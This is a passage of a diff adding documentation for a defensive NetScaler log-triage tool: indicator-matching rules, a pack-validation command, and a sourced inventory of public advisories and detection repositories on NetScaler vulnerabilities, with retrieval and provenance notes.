ipv4,192.0.2.9,authorized_test,local,Approved external test
|
||||||
|
path,/example/suspicious-file,reference_only,local,Investigate file context
|
||||||
|
|
||||||
|
The addresses and paths above are synthetic examples. Extra CSV columns such as
|
||||||
|
source, description, confidence and evidence are preserved verbatim. This also
|
||||||
|
applies to legacy ID,Muster regex CSV files. Use JSON when metadata requires
|
||||||
|
structured lists or nested objects. Keep reference values in their original
|
||||||
|
form rather than defanged display form; matching does not establish compromise.
|
||||||
|
|
||||||
|
VALIDATE PACKS BEFORE A SCAN
|
||||||
|
|
||||||
|
netscaler-triage rules --config ./my-rules
|
||||||
|
|
||||||
|
This offline command loads and compiles the bundled defaults and selected packs,
|
||||||
|
then prints the Sigma rule, regex rule and explicit active indicator counts. It
|
||||||
|
does not prepare or scan logs, contact external services or create artifacts.
|
||||||
|
Use --no-default-patterns to validate only the selected files; --json gives a
|
||||||
|
machine-readable result. Invalid Sigma, unsupported rules and conflicting rule
|
||||||
|
identifiers fail validation. Syntax validation does not prove detection quality.
|
||||||
|
Directory discovery skips README.txt, LICENSE.txt and CHANGELOG.txt documents
|
||||||
|
(case-insensitive); an explicitly named TXT file still loads as references using TXT type inference.
|
||||||
|
|
||||||
|
TYPED INDICATOR MATCHING
|
||||||
|
|
||||||
|
IP addresses and hashes require complete token boundaries. Domain indicators
|
||||||
|
also match subdomains, but not concatenated names or unrelated suffixes. Paths
|
||||||
|
are case-sensitive; a trailing slash denotes a directory prefix. URL schemes
|
||||||
|
and authorities are case-insensitive, while paths and queries are exact.
|
||||||
|
Typed indicators prevent incidental substrings from becoming matches. Use an
|
||||||
|
explicit regex rule when different matching semantics are needed. A reference
|
||||||
|
match or an authentication failure is not automatically malicious; preserve
|
||||||
|
status and provenance and evaluate the surrounding event.
|
||||||
@@ -0,0 +1,476 @@
|
|||||||
|
PUBLIC THREAT INTELLIGENCE INVENTORY
|
||||||
|
|
||||||
|
Review date: 2026-10-01
|
||||||
|
|
||||||
|
52 source records; all 37 distinct URLs supplied for this review checked.
|
||||||
|
246 unique indicator values; 41 behavior patterns; 47 Sigma rules.
|
||||||
|
|
||||||
|
CANONICAL DATA AND TRACEABILITY
|
||||||
|
|
||||||
|
config/threat_intel.json is the complete inventory in the source release.
|
||||||
|
The installed package includes identical data/threat_intel.json and public_sigma.yml.
|
||||||
|
Each IOC has a stable ID, literal type/value and all source observations. Those
|
||||||
|
observations retain reporting context, confidence, source dates and roles. MISP
|
||||||
|
attribute types, comments and to_ids flags are retained even when they conflict.
|
||||||
|
Each source links to the indicator IDs and Sigma rule IDs derived from it.
|
||||||
|
Raw articles, downloaded source files and private evidence are not release data.
|
||||||
|
|
||||||
|
The exact requested URLs and subsequent alternate/raw URLs are distinct records.
|
||||||
|
HTTP 200 alone does not mean content was accessible: the VirusTotal collection
|
||||||
|
returned an application shell. The GreyNoise live tag was blocked. Neither was
|
||||||
|
used to infer additional collection membership. The original Deyda script URL
|
||||||
|
returned 404; the current filename was discovered from its repository tree.
|
||||||
|
Citrix/ACSC direct retrieval errors are recorded alongside successful rendered
|
||||||
|
page reviews. Undisclosed Citrix/Nextron matching logic is not reproduced.
|
||||||
|
|
||||||
|
MATCHING AND INTERPRETATION
|
||||||
|
|
||||||
|
Public references load automatically. Private packs remain explicitly opt-in
|
||||||
|
under gitignored private/ and are excluded from release archives.
|
||||||
|
URL and Base64 decoding, including nested/padding-free candidates, feeds the
|
||||||
|
same Sigma/IOC matches. Raw events, transformation chains and hash evidence
|
||||||
|
remain available. Encoding detection is bounded and heuristic, not exhaustive.
|
||||||
|
|
||||||
|
Shared WARP infrastructure, scanner/test markers, historical 2025 indicators
|
||||||
|
and tentative C2 associations keep their original qualifications. These are
|
||||||
|
investigation leads, not automatic firewall blocks or proof of compromise.
|
||||||
|
The legitimate customsnmpd path is inventoried but excluded from the standalone
|
||||||
|
Sigma path selector; a literal catalog occurrence remains contextual evidence.
|
||||||
|
Known-good baseline hashes are excluded from threat matching.
|
||||||
|
|
||||||
|
The 683 generic webshell YARA rules referenced by the historical NCSC tools are
|
||||||
|
indexed in external_rule_sets, with their original names and source hashes.
|
||||||
|
They require their original whole-file/byte/offset semantics or concern other
|
||||||
|
platforms. They are not advertised as equivalent line-oriented Sigma rules.
|
||||||
|
A separate historical core-memory ROP signature likewise needs binary evidence.
|
||||||
|
Generic PHP and configuration-text hunting adaptations are labeled separately.
|
||||||
|
|
||||||
|
No malware payload URL was contacted and no fetched scanner or PoC was executed.
|
||||||
|
|
||||||
|
SOURCE INDEX
|
||||||
|
|
||||||
|
cisa-direct
|
||||||
|
CISA: Critical Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC, Gateway
|
||||||
|
https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway
|
||||||
|
Published: 2026-09-27; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Direct retrieval unavailable; the official mailing-list publication was reviewed as an alternative source.
|
||||||
|
|
||||||
|
cisa
|
||||||
|
CISA bulletin distributed through GovDelivery
|
||||||
|
https://content.govdelivery.com/accounts/USDHSCISA/bulletins/42cc465
|
||||||
|
Published: 2026-09-27; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Full text reviewed.
|
||||||
|
|
||||||
|
mandiant
|
||||||
|
Mandiant: Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances
|
||||||
|
https://cloud.google.com/blog/topics/threat-intelligence/defending-against-active-exploitation-of-citrix-netscaler-adc-and-gateway-appliances
|
||||||
|
Published: 2026-09-29; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 12; linked Sigma rule IDs: 11
|
||||||
|
Direct HTTP article verified.
|
||||||
|
|
||||||
|
watchtowr
|
||||||
|
watchTowr command injection analysis
|
||||||
|
https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 2
|
||||||
|
Read as technical evidence only; no PoC execution. Delayed processing means request status alone is inconclusive.
|
||||||
|
|
||||||
|
levelblue
|
||||||
|
LevelBlue: Observed Exploitation Artifacts and Hunt Indicators
|
||||||
|
https://www.levelblue.com/blogs/spiderlabs-blog/citrix-netscaler-cve-2026-88771-observed-exploitation-artifacts-and-hunt-indicators
|
||||||
|
Published: 2026-09-30; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 24; linked Sigma rule IDs: 3
|
||||||
|
Direct HTTP article verified.
|
||||||
|
|
||||||
|
truesec
|
||||||
|
Truesec: Multiple Critical Vulnerabilities
|
||||||
|
https://www.truesec.com/hub/blog/multiple-critical-vulnerabilities-in-citrix-netscaler-adc-and-netscaler-gateway
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 3; linked Sigma rule IDs: 0
|
||||||
|
Direct HTTP403; article independently readable through web retrieval, including detection section.
|
||||||
|
|
||||||
|
virustotal-mandiant
|
||||||
|
virustotal-mandiant
|
||||||
|
https://www.virustotal.com/gui/collection/c794f2e5d051c46cd2ff5e429128d7e68954ba78e66735fc69362ec726e63ee4
|
||||||
|
Published: not established; retrieved: 2026-10-01T19:36:45.064779+00:00
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
HTTP200 JavaScript application shell; web retrieval failed. Collection contents not verified; registered access needed. No indicators inferred from collection.
|
||||||
|
|
||||||
|
cert-eu
|
||||||
|
cert-eu
|
||||||
|
https://cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771
|
||||||
|
Published: 2026-09-28T19:30:00+02:00; retrieved: 2026-10-01T19:36:45.064857+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 2
|
||||||
|
Direct HTTP403; article independently readable through web retrieval, including detection section.
|
||||||
|
|
||||||
|
unit42
|
||||||
|
unit42
|
||||||
|
https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/
|
||||||
|
Published: 2026-09-30; retrieved: 2026-10-01T19:36:45.064965+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 31; linked Sigma rule IDs: 4
|
||||||
|
Direct HTTP article verified. Page states updates Sep27 and Sep30 15:00 PT; current HTML published metadata Sep30, modification 2026-09-30T22:15:51Z.
|
||||||
|
|
||||||
|
greynoise
|
||||||
|
greynoise
|
||||||
|
https://www.greynoise.io/blog/swarming-against-citrix-0-day-exploitation
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01T19:36:45.065290+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 4; linked Sigma rule IDs: 0
|
||||||
|
Direct HTTP article verified.
|
||||||
|
|
||||||
|
greynoise-tag
|
||||||
|
greynoise-tag
|
||||||
|
https://viz.greynoise.io/tag/citrix-netscaler-cve-2026-88771-login-command-injection-rce-attempt
|
||||||
|
Published: not established; retrieved: 2026-10-01T19:36:45.276736+00:00
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
HTTP403 and web retrieval failed. Dynamic tag membership unavailable; no IP inferred from tag.
|
||||||
|
|
||||||
|
esentire
|
||||||
|
esentire
|
||||||
|
https://www.esentire.com/security-advisories/update-ongoing-exploitation-of-citrix-netscaler-adc-and-netscaler-gateway-vulnerabilities-cve-2026-88771-cve-2026-88772
|
||||||
|
Published: 2026-09-29; retrieved: 2026-10-01T19:36:45.424617+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 16; linked Sigma rule IDs: 1
|
||||||
|
Direct HTTP article verified.
|
||||||
|
|
||||||
|
beazley
|
||||||
|
beazley
|
||||||
|
https://labs.beazley.security/advisories/BSL-A1216
|
||||||
|
Published: 2026-09-26; retrieved: 2026-10-01T19:36:45.510941+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 10; linked Sigma rule IDs: 0
|
||||||
|
Direct HTTP article verified. Updated Sep29; secondary consolidation, attribution to originating reporters preserved.
|
||||||
|
|
||||||
|
ifin-event
|
||||||
|
ifin-event
|
||||||
|
https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039091+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 68; linked Sigma rule IDs: 1
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
ifin-manifest
|
||||||
|
ifin-manifest
|
||||||
|
https://misp.ifin.network/feed/manifest.json
|
||||||
|
Published: not established; retrieved: 2026-10-01T19:44:37.039380+00:00
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
ifin-thread
|
||||||
|
ifin-thread
|
||||||
|
https://ifin.network/t/multiple-citrix-netscaler-0-days-exploited/867
|
||||||
|
Published: not established; retrieved: 2026-10-01T19:44:37.039382+00:00
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
elastic-toml
|
||||||
|
elastic-toml
|
||||||
|
https://raw.githubusercontent.com/elastic/detection-rules/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039384+00:00
|
||||||
|
Requested URL: False; detection use: True
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 1
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
rapid7
|
||||||
|
rapid7
|
||||||
|
https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01T19:44:37.039385+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 4; linked Sigma rule IDs: 1
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
arctic-wolf
|
||||||
|
arctic-wolf
|
||||||
|
https://raw.githubusercontent.com/rtkwlf/wolf-tools/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771/README.md
|
||||||
|
Published: 2026-09-30; retrieved: 2026-10-01T19:44:37.039386+00:00
|
||||||
|
Requested URL: False; detection use: True
|
||||||
|
Linked IOC IDs: 37; linked Sigma rule IDs: 5
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
sygnia
|
||||||
|
sygnia
|
||||||
|
https://www.sygnia.co/threat-reports-and-advisories/actively-exploited-netscaler-vulnerabilities/
|
||||||
|
Published: 2026-09-30; retrieved: 2026-10-01T19:44:37.039387+00:00
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 15; linked Sigma rule IDs: 3
|
||||||
|
Direct HTTP retrieval successful; attacker resources were not requested.
|
||||||
|
|
||||||
|
CITRIX-CTX697096
|
||||||
|
NetScaler security bulletin CTX697096
|
||||||
|
https://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscaler-gateway-security-bulletin-for-cve202688771-and-cve202688772.html
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Canonical article accessible; attachment query-form URL failed. Authoritative fixed builds and exposure preconditions; no public attack IOC list. CVE-88778 additionally requires the Enhanced ISN configuration change. Configuration exposure is not compromise evidence.
|
||||||
|
|
||||||
|
CITRIX-SECURITY-BLOG-20260930
|
||||||
|
NetScaler security guidance, updated September 30
|
||||||
|
https://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778/
|
||||||
|
Published: 2026-09-27; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Official article updated 2026-09-30. IOC logic available via Console/Support, not published here. Patching does not establish cleanup; rebuild when compromise is suspected. 13.1-64.24 avoids the documented 64.23 reboot issue where NS variables exist. Reader comments are not vendor IOC statements and are excluded.
|
||||||
|
|
||||||
|
CITRIX-CTX694799
|
||||||
|
Steps after suspected NetScaler compromise
|
||||||
|
https://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html
|
||||||
|
Published: 2025-06-25; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Preserve disk, logs and memory; record timezone/NTP; isolate; rotate exposed credentials and revoke certificates/private keys; investigate connected systems; rebuild. Packet-engine core generation triggers warm restart. Not a passive log-detection signature. Canonical support listing records modification 2026-05-13.
|
||||||
|
|
||||||
|
NETSCALER-CONSOLE-IOC
|
||||||
|
Console indicators-of-compromise detection
|
||||||
|
https://docs.netscaler.com/en-us/netscaler-console-service/instance-advisory/ioc.html
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Telemetry required; BLX unsupported. Scan history and detection-logic updates are retained. No Compromise Detected is limited to current checks; failed/skipped scans are not negative findings. Detection internals absent; no invented equivalent rules.
|
||||||
|
|
||||||
|
NETSCALER-FIM
|
||||||
|
File integrity monitoring
|
||||||
|
https://docs.netscaler.com/en-us/netscaler-console-service/instance-advisory/file-integrity-monitoring.html
|
||||||
|
Published: 2026-09-07; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Compares same-build vendor hashes against appliance files; distinguishes modified and added files and scan errors. BLX unsupported. A local log archive cannot reproduce vendor binary-baseline verification, exclusions, ownership/runtime checks or live device signatures.
|
||||||
|
|
||||||
|
NETSCALER-CONSOLE-RELEASES
|
||||||
|
Console service release notes
|
||||||
|
https://docs.netscaler.com/en-us/netscaler-console-service/release-notes/whats-new.html
|
||||||
|
Published: 2026-09-27; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
September 27 entry identifies CVE-88771 exposure through version scanning and recommends upgrade. Version-based exposure detection is separate from compromise detection and exact historical patch timing.
|
||||||
|
|
||||||
|
NEXTRON-20260929
|
||||||
|
THOR NetScaler detection coverage
|
||||||
|
https://www.nextron-systems.com/2026/09/29/new-thor-detection-coverage-for-citrix-netscaler-cve-2026-88771-and-cve-2026-88772/
|
||||||
|
Published: 2026-09-29; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Article explicitly withholds rule matching strings/implementation. Its filesystem IOC subset covers 12 checks consolidated into four definitions; 22 checks requiring logs/config/process/ownership/permissions/runtime context are omitted. PoC file detection is not proof of exploitation. No undisclosed rules reconstructed.
|
||||||
|
|
||||||
|
CERTFR-2026-ALE-011
|
||||||
|
CERT-FR NetScaler alert
|
||||||
|
https://cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-011/
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 3
|
||||||
|
Updated September 30. Reproduces Google DTLS/packet-engine hunting patterns and links YARA. Explicitly says ANSSI has not independently qualified them. Preserve original Google provenance and avoid counting duplicated patterns as independent confirmations.
|
||||||
|
|
||||||
|
CIRCL-TR100
|
||||||
|
CIRCL NetScaler critical vulnerabilities
|
||||||
|
https://circl.lu/pub/tr-100/
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Accessible public advisory. Configuration prerequisites, version recommendations, forensic preservation, external SIEM logs and investigation of outbound/internal activity. No additional concrete attack addresses/hashes or detection implementation imported.
|
||||||
|
|
||||||
|
ACSC-NETSCALER-20260930
|
||||||
|
ACSC NetScaler advisory
|
||||||
|
https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/critical-vulnerabilities-in-citrix-netscaler-adc-and-citrix-netscaler-gateway-products
|
||||||
|
Published: 2026-09-28; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Updated September 30: investigate back to at least September 4, 2026. This is a minimum lookback, not proof earlier compromise was impossible. Updated introduction reports Australian exploitation; older background wording still says none reported, so retain update precedence. No public literal IOC table.
|
||||||
|
|
||||||
|
watchtowr-dtls
|
||||||
|
watchTowr DTLS analysis
|
||||||
|
https://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Packet fragmentation/ROP and memory corruption need packet/core evidence; no packet exploit logic is converted to a log success verdict.
|
||||||
|
|
||||||
|
watchtowr-repo
|
||||||
|
watchTowr artifact generator repository
|
||||||
|
https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 2; linked Sigma rule IDs: 1
|
||||||
|
Read source only. Active command injection generator, not a passive scanner. Example output paths classified as PoC markers.
|
||||||
|
|
||||||
|
poppelgaard
|
||||||
|
Community CTX697096 checker
|
||||||
|
https://github.com/ThomasPoppelgaard/netscaler-ctx697096-checker
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 143; linked Sigma rule IDs: 3
|
||||||
|
Read script only. Retain attributed infrastructure and scanner lists separately; community compromise labels are not adopted as local verdicts.
|
||||||
|
|
||||||
|
technion
|
||||||
|
Community NetScaler scanner
|
||||||
|
https://github.com/technion/netscaler_scanner
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 3; linked Sigma rule IDs: 0
|
||||||
|
Read source only. Adds author-reported theme webshell paths. Mandiant-derived checks keep original attribution. Build-only CVE-88778 conclusion is not imported.
|
||||||
|
|
||||||
|
deyda-guide
|
||||||
|
Community assessment guide
|
||||||
|
https://www.deyda.net/index.php/en/2026/08/28/netscaler-cve-checklist-updates-security-assessment-and-incident-response/
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Guide and corrected current script reviewed; no script executed. Known-clean platform hashes and normal diagnostic paths are not attack IOCs.
|
||||||
|
|
||||||
|
deyda-requested-script
|
||||||
|
Requested community script path
|
||||||
|
https://github.com/Deyda/Security/blob/main/netscaler-ioc-check.sh
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Requested path unavailable (raw equivalent HTTP404). Repository tree identifies deyda-netscaler-ioc-check.sh as current filename.
|
||||||
|
|
||||||
|
deyda-script
|
||||||
|
Current community assessment script
|
||||||
|
https://raw.githubusercontent.com/Deyda/Security/main/deyda-netscaler-ioc-check.sh
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: True
|
||||||
|
Linked IOC IDs: 7; linked Sigma rule IDs: 3
|
||||||
|
Corrected filename discovered from repository tree. Read source only; no copied scanner execution or known-good hash import.
|
||||||
|
|
||||||
|
ncsc-nl-2025
|
||||||
|
NCSC-NL historical forensic checks
|
||||||
|
https://github.com/NCSC-NL/citrix-2025
|
||||||
|
Published: 2025-08-06; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 22; linked Sigma rule IDs: 2
|
||||||
|
2025 campaign, not evidence of 2026 CVE coverage. Extracted string observables; binary ROP, image metadata, timestomping, permissions and live checks remain external.
|
||||||
|
|
||||||
|
fox-it
|
||||||
|
Fox-IT forensic image triage
|
||||||
|
https://github.com/fox-it/citrix-netscaler-triage
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: True
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 1
|
||||||
|
Read implementation. Core utility needs disk and RAM-disk evidence; string heuristics adapted with PHP context only. Expected SUID binaries are not attack IOCs.
|
||||||
|
|
||||||
|
poppelgaard-script
|
||||||
|
Reviewed source component: poppelgaard-script
|
||||||
|
https://raw.githubusercontent.com/ThomasPoppelgaard/netscaler-ctx697096-checker/main/ctx697096_check.sh
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
technion-script
|
||||||
|
Reviewed source component: technion-script
|
||||||
|
https://raw.githubusercontent.com/technion/netscaler_scanner/main/mandiant-scanner.sh
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
fox-ioc
|
||||||
|
Reviewed source component: fox-ioc
|
||||||
|
https://raw.githubusercontent.com/fox-it/citrix-netscaler-triage/main/iocitrix.py
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
ncsc-checks
|
||||||
|
Reviewed source component: ncsc-checks
|
||||||
|
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/checks.yaml
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
ncsc-core-yara
|
||||||
|
Reviewed source component: ncsc-core-yara
|
||||||
|
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/core-dump-checks/iocs.yar
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
ncsc-live
|
||||||
|
Reviewed source component: ncsc-live
|
||||||
|
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/live-host-bash-check/TLPCLEAR_check_script_cve-2025-6543-v1.8.sh
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
watch-poc
|
||||||
|
Reviewed source component: watch-poc
|
||||||
|
https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771/main/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Read-only source supporting parent repository review.
|
||||||
|
|
||||||
|
ncsc-php_webshell_rules.yara
|
||||||
|
NCSC-referenced general webshell YARA collection
|
||||||
|
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/yara/php_webshell_rules.yara
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Generic multi-platform historical webshell library, not campaign-specific NetScaler log rules. Indexed for external file/core scanning; no misleading line-by-line Sigma conversion.
|
||||||
|
|
||||||
|
ncsc-thor-webshells.yar
|
||||||
|
NCSC-referenced general webshell YARA collection
|
||||||
|
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/yara/thor-webshells.yar
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: False; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Generic multi-platform historical webshell library, not campaign-specific NetScaler log rules. Indexed for external file/core scanning; no misleading line-by-line Sigma conversion.
|
||||||
|
|
||||||
|
requested-77a190a3
|
||||||
|
requested-77a190a3
|
||||||
|
https://github.com/elastic/detection-rules/blob/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Exact requested URL retained for audit; see linked alternate retrievals.
|
||||||
|
|
||||||
|
requested-7e6e5286
|
||||||
|
requested-7e6e5286
|
||||||
|
https://github.com/rtkwlf/wolf-tools/blob/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771/README.md
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Exact requested URL retained for audit; see linked alternate retrievals.
|
||||||
|
|
||||||
|
requested-f8052bbe
|
||||||
|
requested-f8052bbe
|
||||||
|
https://support.citrix.com/external/article?articleNumber=CTX697096
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Exact requested URL retained for audit; see linked alternate retrievals.
|
||||||
|
|
||||||
|
requested-6c93ceb2
|
||||||
|
requested-6c93ceb2
|
||||||
|
https://www.elastic.co/guide/en/security/8.19/potential-netscaler-log-poisoning-command-injection-attempt.html
|
||||||
|
Published: not established; retrieved: 2026-10-01
|
||||||
|
Requested URL: True; detection use: False
|
||||||
|
Linked IOC IDs: 0; linked Sigma rule IDs: 0
|
||||||
|
Unavailable or not verified; no indicator invented.
|
||||||
|
|
||||||
|
REPRODUCIBLE CHECKS
|
||||||
|
|
||||||
|
